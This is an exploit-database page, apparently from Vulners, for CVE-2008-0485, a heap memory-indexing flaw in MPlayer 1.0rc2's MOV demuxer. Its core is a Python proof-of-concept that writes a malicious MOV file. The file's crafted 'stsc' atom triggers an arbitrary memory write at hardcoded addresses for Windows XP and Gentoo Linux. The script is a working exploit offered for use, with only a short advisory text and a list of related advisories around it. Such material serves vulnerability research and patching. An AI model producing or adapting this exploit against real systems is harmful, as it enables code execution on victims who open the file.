MPlayer 1.0rc2 - 'demux_mov.c' Remote Code Execution
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| MPlayer arbitrary pointer dereference | 4 Feb 200800:00 | – | coresecurity | |
| CVE-2008-0485 | 5 Feb 200811:00 | – | cve | |
| CVE-2008-0485 | 5 Feb 200811:00 | – | cvelist | |
| mplayer -- multiple vulnerabilities | 5 Feb 200800:00 | – | freebsd | |
| [SECURITY] [DSA 1496-1] New mplayer packages fix arbitrary code execution | 12 Feb 200822:59 | – | debian | |
| CVE-2008-0485 | 5 Feb 200811:00 | – | debiancve | |
| Debian DSA-1496-1 : mplayer - buffer overflows | 14 Feb 200800:00 | – | nessus | |
| FreeBSD : mplayer -- multiple vulnerabilities (de4d4110-ebce-11dc-ae14-0016179b2dd5) | 7 Mar 200800:00 | – | nessus | |
| GLSA-200803-16 : MPlayer: Multiple buffer overflows | 13 Mar 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : mplayer (MDVSA-2008:045) | 23 Apr 200900:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/27499/info
MPlayer is prone to a remote code-execution vulnerability because it fails to sanitize certain 'MOV' file tags before using them to index heap memory.
An attacker can exploit this issue to execute arbitrary code, which can result in the complete compromise of the computer. Failed exploit attempts will result in a denial-of-service condition.
This issue affects MPlayer 1.0rc2; other versions may also be affected.
#!/bin/python
import struct
import sys
def mkatom(type,data):
if len(type) != 4:
raise "type must by of length 4!!!"
mov = ""
mov += struct.pack(">L",len(data)+8)
mov += type
mov += data
return mov
def poc(address, block_size):
what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk
base= ((address - 8) / block_size) +1
ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
mdat = mkatom("mdat","MALDAAAAAD!")
stsc = mkatom("stsc",struct.pack(">L",1) + \
struct.pack(">L",2) + \
struct.pack(">L",base) + \
what + \
struct.pack(">L",base+300)+what)
trak = mkatom("trak",stsc)
moov = mkatom("moov",trak)
file = ftyp + mdat + moov
return file
try:
if sys.argv[2] != "linux":
evilness = poc(0x0122e000, 24) #Windows XP SP2 Prof. ES
else:
evilness = poc(0x088aa020, 20) #Linux Gentoo
print "[+] Generating file: %s" % sys.argv[1]
file = open(sys.argv[1], "wb")
file.write(evilness)
file.close()
print "[+] Done."
except Exception, e:
print "[+] Usage: python mplayer_poc.py filename.mov windows (For
WinXP Prof SP2 ES)"
print " python mplayer_poc.py filename.mov linux (For
Linux Gentoo)"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.08878